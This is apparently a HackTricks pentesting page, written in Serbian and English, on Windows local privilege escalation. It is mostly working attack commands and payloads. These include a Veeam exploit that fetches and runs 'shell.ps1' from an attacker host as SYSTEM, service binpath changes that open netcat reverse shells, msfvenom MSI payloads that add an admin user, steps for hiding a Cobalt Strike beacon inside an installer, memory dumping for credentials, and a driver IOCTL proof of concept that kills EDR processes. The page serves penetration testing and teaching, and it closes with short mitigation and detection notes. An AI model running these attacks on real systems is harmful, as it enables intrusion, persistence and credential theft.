Windows Local Privilege Escalation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Najbolji alat za pronalaženje Windows local privilege escalation vektora: WinPEAS

Osnovna Windows teorija

Access Tokens

Ako ne znate šta su Windows Access Tokens, pročitajte sledeću stranicu pre nego što nastavite:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Pročitajte sledeću stranicu za više informacija o ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Ako ne znate šta su integrity levels u Windows-u, trebalo bi da pročitate sledeću stranicu pre nego što nastavite:

Integrity Levels

Windows sigurnosne kontrole

U Windows-u postoje različite stvari koje mogu sprečiti vas da izvršite enumeraciju sistema, pokrenete izvršne fajlove ili čak otkriju vaše aktivnosti. Trebalo bi da pročitate sledeću stranicu i enumerišete sve ove odbrambene mehanizme pre nego što započnete enumeraciju privilege escalation:

Windows Security Controls

Admin Protection / UIAccess silent elevation

UIAccess procesi pokrenuti preko RAiLaunchAdminProcess mogu se zloupotrebiti da se dostigne High IL bez promptova kada se AppInfo secure-path provere zaobiđu. Pogledajte dedikovani UIAccess/Admin Protection bypass workflow ovde:

Uiaccess Admin Protection Bypass

System Info

Version info enumeration

Proverite da li Windows verzija ima neku poznatu ranjivost (proverite i primenjene zakrpe).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

This site je koristan za pretraživanje detaljnih informacija o Microsoft security vulnerabilities. Ova baza podataka ima više od 4,700 security vulnerabilities, pokazujući ogromnu attack surface koju Windows environment predstavlja.

Na sistemu

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Lokalno sa informacijama o sistemu

Github repos of exploits:

Okruženje

Postoje li credential/Juicy info sačuvani u env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell Istorija

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transcript datoteke

Možete saznati kako da ovo omogućite na https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Detalji izvršavanja PowerShell pipeline-a se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda neće biti zabeleženi.

Da biste ovo omogućili, pratite uputstva u odeljku “Transcript files” dokumentacije, birajući “Module Logging” umesto “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Da biste pogledali poslednjih 15 događaja iz PowersShell logova, možete izvršiti:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Zabeležen je kompletan zapis aktivnosti i pun sadržaj izvršavanja skripte, što obezbeđuje da je svaki blok koda dokumentovan dok se izvršava. Ovaj proces čuva sveobuhvatnu revizorsku evidenciju svake aktivnosti, korisnu za forensics i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršavanja pružaju se detaljni uvidi u proces.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Događaji za Script Block mogu se pronaći u Windows Event Viewer na putanji: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Da biste prikazali poslednjih 20 događaja, možete koristiti:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet podešavanja

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Diskovi

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Možete kompromitovati sistem ako se ažuriranja ne traže pomoću httpS, već pomoću http.

Počnite proverom da li mreža koristi WSUS ažuriranje bez SSL-a tako što ćete u cmd pokrenuti sledeće:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ili sledeće u PowerShell-u:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Ako dobijete odgovor poput jednog od ovih:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

A ako HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ili Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" je jednako 1.

Tada je moguće iskoristiti. Ako je poslednji registar jednak 0, unos WSUS-a će biti ignorisan.

Da biste iskoristili ovu ranjivost možete koristiti alate kao što su: Wsuxploit, pyWSUS - Ovo su MiTM weaponized exploit skripte za ubacivanje ‘lažnih’ ažuriranja u non-SSL WSUS saobraćaj.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
U suštini, ovo je greška koju ovaj bug eksploatiše:

Ako imamo mogućnost da izmenimo lokalni korisnički proxy, i Windows Updates koristi proxy podešen u postavkama Internet Explorera, tada možemo lokalno pokrenuti PyWSUS da presretnemo sopstveni saobraćaj i izvršimo kod kao povišeni korisnik na našem assetu.

Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, koristiće i njegov certificate store. Ako generišemo self-signed certificate za WSUS hostname i dodamo ovaj certificate u certificate store trenutnog korisnika, bićemo u stanju da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-like mehanizme za implementaciju trust-on-first-use tipa validacije sertifikata. Ako je prikazani sertifikat trusted od strane korisnika i ima ispravan hostname, biće prihvaćen od strane servisa.

Možete iskoristiti ovu ranjivost koristeći alat WSUSpicious (kad bude dostupan).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Mnogi enterprise agenti izlažu localhost IPC površinu i privileged update kanal. Ako se enrollment može prinuditi da se poveže na serverskog napadača i updater veruje rogue root CA ili ima slabe provere potpisivača, lokalni korisnik može dostaviti maliciozni MSI koji SYSTEM servis instalira. Pogledajte generalizovanu tehniku (baziranu na Netskope stAgentSvc lancu – CVE-2025-0309) ovde:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 izlaže localhost servis na TCP/9401 koji procesira poruke kontrolisane od strane napadača, omogućavajući proizvoljne komande kao NT AUTHORITY\SYSTEM.

  • Recon: potvrdite listener i verziju, npr., netstat -ano | findstr 9401 i (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: postavite PoC kao što je VeeamHax.exe sa potrebnim Veeam DLL-ovima u istom direktorijumu, zatim pokrenite SYSTEM payload preko lokalnog socketa:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Servis izvršava komandu kao SYSTEM.

KrbRelayUp

Postoji ranjivost local privilege escalation u Windows domain okruženjima pod određenim uslovima. Ti uslovi uključuju okruženja gde LDAP signing is not enforced, korisnici poseduju self-rights koja im omogućavaju da konfigurišu Resource-Based Constrained Delegation (RBCD), kao i mogućnost da korisnici kreiraju računare u okviru Windows domain. Važno je napomenuti da su ovi zahtevi zadovoljeni korišćenjem podrazumevanih podešavanja.

Pronađite exploit u https://github.com/Dec0ne/KrbRelayUp

Za više informacija o toku napada pogledajte https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Ako su ova 2 registra omogućena (vrednost je 0x1), korisnici bilo kog nivoa privilegija mogu da instaliraju (izvrše) *.msi fajlove kao NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Ako imate meterpreter sesiju, možete automatizovati ovu tehniku koristeći modul exploit/windows/local/always_install_elevated

PowerUP

Koristite komandu Write-UserAddMSI iz power-up da kreirate u trenutnom direktorijumu Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript kreira prekompajlirani MSI installer koji traži dodavanje korisnika/grupe (tako da će vam trebati GIU pristup):

Write-UserAddMSI

Samo pokrenite kreirani binarni fajl da biste eskalirali privilegije.

MSI Wrapper

Pročitajte ovaj tutorijal da naučite kako da kreirate MSI wrapper koristeći ovaj alat. Napomena: možete obuhvatiti “.bat” fajl ako samo želite da izvršite komandne linije

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generišite pomoću Cobalt Strike-a ili Metasploit-a new Windows EXE TCP payload u C:\privesc\beacon.exe
  • Otvorite Visual Studio, izaberite Create a new project i ukucajte “installer” u polje za pretragu. Izaberite Setup Wizard projekat i kliknite Next.
  • Dajte projektu ime, na primer AlwaysPrivesc, koristite C:\privesc za lokaciju, izaberite place solution and project in the same directory, i kliknite Create.
  • Nastavite da klikćete Next dok ne dođete do koraka 3 od 4 (choose files to include). Kliknite Add i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite Finish.
  • Selektujte AlwaysPrivesc projekat u Solution Explorer i u Properties, promenite TargetPlatform sa x86 na x64.
  • Postoje i druga svojstva koja možete promeniti, kao što su Author i Manufacturer koja mogu učiniti instaliranu aplikaciju legitimnijom.
  • Kliknite desnim tasterom na projekat i izaberite View > Custom Actions.
  • Kliknite desnim tasterom na Install i izaberite Add Custom Action.
  • Dvaput kliknite na Application Folder, izaberite vaš beacon.exe fajl i kliknite OK. Ovo će osigurati da se beacon payload izvrši čim se installer pokrene.
  • U okviru Custom Action Properties, promenite Run64Bit na True.
  • Na kraju, build it.
  • Ako se prikaže upozorenje File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', uverite se da ste podesili platformu na x64.

MSI Installation

Da biste pokrenuli instalaciju malicioznog .msi fajla u pozadini:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Za iskorišćavanje ove ranjivosti možete koristiti: exploit/windows/local/always_install_elevated

Antivirus i detektori

Podešavanja audita

Ova podešavanja određuju šta se beleži, zato treba da obratite pažnju.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, zanimljivo je znati gde se šalju logovi

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS je dizajniran za upravljanje lokalnim Administrator lozinkama, osiguravajući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima pridruženim domenu. Ove lozinke su sigurno uskladištene u Active Directory i mogu im pristupiti samo korisnici kojima su dodeljena odgovarajuća prava putem ACLs, što im omogućava da pregledaju lokalne Administrator lozinke ako su ovlašćeni.

LAPS

WDigest

Ako je aktivan, plain-text lozinke se čuvaju u LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Počevši od Windows 8.1, Microsoft je uveo poboljšanu zaštitu za Local Security Authority (LSA) da blokira pokušaje nepouzdanih procesa da čitaju njegovu memoriju ili ubrizgaju kod, dodatno osiguravajući sistem.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard je uveden u Windows 10. Njegova svrha je da zaštiti credentials pohranjene na uređaju od pretnji kao što su pass-the-hash napadi.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials se autentifikuju preko Local Security Authority (LSA) i koriste ih komponente operativnog sistema. Kada su korisnički podaci za prijavu autentifikovani od strane registrovanog security package-a, obično se uspostavljaju domain credentials za tog korisnika.\
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Korisnici & Grupe

Enumerisanje korisnika & grupa

Treba da proverite da li neke od grupa kojima pripadate imaju zanimljive privilegije.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegovane grupe

Ako pripadate nekoj privilegovanoj grupi, možda ćete moći da povišite privilegije. Pročitajte o privilegovanim grupama i kako ih zloupotrebiti da biste povišili privilegije ovde:

Privileged Groups

Manipulacija tokenima

Saznajte više o tome šta je token na ovoj stranici: Windows Tokens.
Pogledajte sledeću stranicu da biste saznali o zanimljivim tokenima i kako ih zloupotrebiti:

Abusing Tokens

Prijavljeni korisnici / Sesije

qwinsta
klist sessions

Kućni direktorijumi

dir C:\Users
Get-ChildItem C:\Users

Politika lozinki

net accounts

Dohvati sadržaj međuspremnika

powershell -command "Get-Clipboard"

Running Processes

File and Folder Permissions

Prvo, pri listanju procesa proverite da li u komandnoj liniji procesa postoje lozinke.
Proverite da li možete overwrite some binary running ili da li imate write permissions za folder sa binarnim fajlovima kako biste iskoristili moguće DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Uvek proverite da li su u toku electron/cef/chromium debuggers — možete ih iskoristiti za eskalaciju privilegija.

Provera dozvola binarnih fajlova procesa

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Provera dozvola foldera binarnih fajlova procesa (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Možete kreirati memory dump pokrenutog procesa koristeći procdump iz sysinternals. Servisi poput FTP imaju credentials in clear text in memory, pokušajte da napravite dump memorije i pročitate credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Nezaštićene GUI aplikacije

Aplikacije koje se pokreću kao SYSTEM mogu omogućiti korisniku da pokrene CMD ili pregleda direktorijume.

Primer: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”

Services

Service Triggers omogućavaju Windows da pokrene servis kada se dese određeni uslovi (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Čak i bez SERVICE_START prava često možete pokrenuti privilegovane servise aktiviranjem njihovih triggera. Pogledajte tehnike enumeracije i aktivacije ovde:

Service Triggers

Dobijte listu servisa:

net start
wmic service list brief
sc query
Get-Service

Dozvole

Možete koristiti sc da biste dobili informacije o servisu

sc qc <service_name>

Preporučuje se imati binarni accesschk iz Sysinternals za proveru potrebnog nivoa privilegija za svaki servis.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Preporučuje se proveriti da li “Authenticated Users” mogu menjati bilo koju uslugu:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Možete preuzeti accesschk.exe za XP ovde

Omogućavanje servisa

Ako imate ovu grešku (na primer sa SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Možete ga omogućiti koristeći

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Imajte na umu da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)

Još jedno zaobilazno rešenje ovog problema je pokretanje:

sc.exe config usosvc start= auto

Izmena putanje binarnog fajla servisa

U scenariju u kojem grupa “Authenticated users” poseduje SERVICE_ALL_ACCESS na servisu, izmena izvršnog binarnog fajla servisa je moguća. Da biste izmenili i izvršili sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Ponovno pokretanje servisa

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegije se mogu eskalirati kroz različita dopuštenja:

  • SERVICE_CHANGE_CONFIG: Dozvoljava rekonfiguraciju binarnog fajla servisa.
  • WRITE_DAC: Omogućava rekonfiguraciju dozvola, što dovodi do mogućnosti menjanja konfiguracija servisa.
  • WRITE_OWNER: Dozvoljava preuzimanje vlasništva i rekonfiguraciju dozvola.
  • GENERIC_WRITE: Nasleđuje sposobnost menjanja konfiguracija servisa.
  • GENERIC_ALL: Takođe nasleđuje sposobnost menjanja konfiguracija servisa.

Za detekciju i eksploataciju ove ranjivosti može se koristiti exploit/windows/local/service_permissions.

Slabe permisije binarnih fajlova servisa

Proverite da li možete izmeniti binarni fajl koji se izvršava od strane servisa ili da li imate prava za pisanje na direktorijum u kome se binarni nalazi (DLL Hijacking).
Možete dobiti sve binarne fajlove koje servis izvršava koristeći wmic (ne u System32) i proveriti svoja prava koristeći icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Takođe možete koristiti sc i icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Dozvole za izmenu registra servisa

Treba da proverite da li možete da izmenite bilo koji registar servisa.
Možete proveriti svoje dozvole nad servisnim registrom tako što ćete uraditi:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Treba proveriti da li Authenticated Users ili NT AUTHORITY\INTERACTIVE imaju FullControl dozvole. Ako je to slučaj, binarni fajl koji servis izvršava može biti izmenjen.

Za promenu putanje izvršnog binarnog fajla:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Dozvole AppendData/AddSubdirectory na registru servisa

Ako imate ovu dozvolu nad registrom, to znači da možete kreirati podključeve u njemu. U slučaju Windows servisa, ovo je dovoljno za izvršavanje proizvoljnog koda:

AppendData/AddSubdirectory permission over service registry

Putanje servisa bez navodnika

Ako putanja do izvršne datoteke nije u navodnicima, Windows će pokušati da izvrši svaki deo koji se završava pre razmaka.

Na primer, za putanju C:\Program Files\Some Folder\Service.exe Windows će pokušati da izvrši:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Navedite sve putanje servisa bez navodnika, isključujući one koje pripadaju ugrađenim Windows servisima:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Možete otkriti i iskoristiti ovu ranjivost pomoću metasploit: exploit/windows/local/trusted\_service\_path Možete ručno kreirati service binary pomoću metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Akcije oporavka

Windows omogućava korisnicima da navedu akcije koje treba preduzeti ako servis zakaže. Ova funkcija može biti konfigurisana da pokazuje na binarni fajl. Ako je taj binarni fajl zamenjiv, može biti moguća eskalacija privilegija. Više detalja može se naći u official documentation.

Aplikacije

Instalirane aplikacije

Proverite dozvole binarnih fajlova (možda možete prepisati jedan i eskalirati privilegije) i foldere (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Dozvole za pisanje

Proverite da li možete da izmenite neki config fajl da biste pročitali neki poseban fajl ili da li možete da izmenite neki binarni fajl koji će biti izvršen od strane Administrator naloga (schedtasks).

Jedan način da se pronađu slabe dozvole za direktorijume/fajlove u sistemu je:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload perzistencija/izvršavanje

Notepad++ automatski učitava bilo koji plugin DLL iz svojih plugins podfoldera. Ako postoji prenosiva/kopirana instalacija kojoj je omogućeno pisanje, ubacivanje zlonamernog plugin-a omogućava automatsko izvršavanje koda unutar notepad++.exe pri svakom pokretanju (uključujući iz DllMain i plugin callbacks).

Notepad Plus Plus Plugin Autoload Persistence

Pokretanje pri startu

Proverite da li možete prebrisati neki registry ili binarni fajl koji će biti izvršen od strane drugog korisnika.
Pročitajte sledeću stranu da saznate više o interesantnim autoruns lokacijama za eskalaciju privilegija:

Privilege Escalation with Autoruns

Drajveri

Potražite moguće third party čudne/ranjive drajvere

driverquery
driverquery.exe /fo table
driverquery /SI

If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:

Arbitrary Kernel Rw Token Theft

For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Neki potpisani third‑party driveri kreiraju svoj device object sa jakim SDDL putem IoCreateDeviceSecure, ali zaborave da postave FILE_DEVICE_SECURE_OPEN u DeviceCharacteristics. Bez ovog flaga, secure DACL se ne primenjuje kada se device otvori kroz path koji sadrži dodatnu komponentu, što omogućava bilo kojem neprivilegovanom korisniku da dobije handle koristeći namespace path kao:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Kada korisnik može otvoriti device, privileged IOCTLs izloženi od strane drivera mogu se zloupotrebiti za LPE i tampering. Primeri mogućnosti viđeni u praksi:

  • Vratiti handle-ove sa punim pristupom proizvoljnim procesima (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Neograničeno raw disk read/write (offline tampering, boot-time persistence tricks).
  • Prekinuti proizvoljne procese, uključujući Protected Process/Light (PP/PPL), dozvoljavajući AV/EDR kill iz user land preko kernela.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigations for developers

  • Uvek postavite FILE_DEVICE_SECURE_OPEN kada kreirate objekte uređaja koji treba da budu ograničeni DACL-om.
  • Proverite kontekst pozivaoca za privilegovane operacije. Dodajte PP/PPL provere pre nego što dozvolite terminaciju procesa ili vraćanje handle-a.
  • Ograničite IOCTLs (maske pristupa, METHOD_*, validacija unosa) i razmotrite brokered modele umesto direktnih kernel privilegija.

Predlozi za detekciju za odbrambene timove

  • Pratite otvaranja iz user-mode-a sumnjivih imena uređaja (npr., \ .\amsdk*) i specifične IOCTL sekvence koje ukazuju na zloupotrebu.
  • Sprovodite Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i održavajte sopstvene liste dozvoljenih/zabranjenih.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

